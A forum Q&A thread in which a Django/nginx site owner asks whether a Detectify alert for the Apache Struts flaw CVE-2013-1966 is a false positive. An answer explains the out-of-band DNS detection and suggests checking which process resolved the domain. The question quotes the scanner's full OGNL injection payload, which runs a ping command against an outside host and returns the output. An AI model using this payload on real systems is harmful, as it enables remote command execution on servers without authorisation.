2

Detectify has laready twice informed me of a vulnerability on my website. It is about CVE-2013-1966 (Apache Struts). However I am not even using Apache, my server runs Django on nginx. Can I safely flag this as a false positive, or is there something I am missing?

The details:

  • POST /login_admin.jsp HTTP/1.1
  • body:

a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%23a=@java.lang.Runtime@getRuntime().exec('ping%20htzlerw2g7vpoxhzhzti3ycd4rmji6zkncprtxvw3lac466nx3oufmlqsy.oob.li').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}

  • Response: HTTP/1.1 200 OK
  • Details: Detectify intercepted a DNS request for the domain htzlerw2g7vpoxhzhzti3ycd4rmji6zkncprtxvw3lac466nx3oufmlqsy.oob.li.
3

I can't see inside the rule/logic that might actually be causing this alert so take this for what it is worth. I'm assuming they have some type of logic that detects the struts attack attempt and then notices a DNS request for the domain in the attack string. This would be the behaviour from the victim if the attack was successful, it would try to ping that host but would have to make a dns resolution first in order to do so.

The fact that something in your network is issuing a DNS lookup for the domain in what seems to be reaction to the attack is curious if you are not running struts. I would look through your processes and try to determine if you have something running that would see that request come in, see a domain present in the request, then try to resolve that domain. If you can figure out what is doing this and verify that it is expected behaviour and not actually a reaction to the attack itself, then I would consider it safe to call this a false positive.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.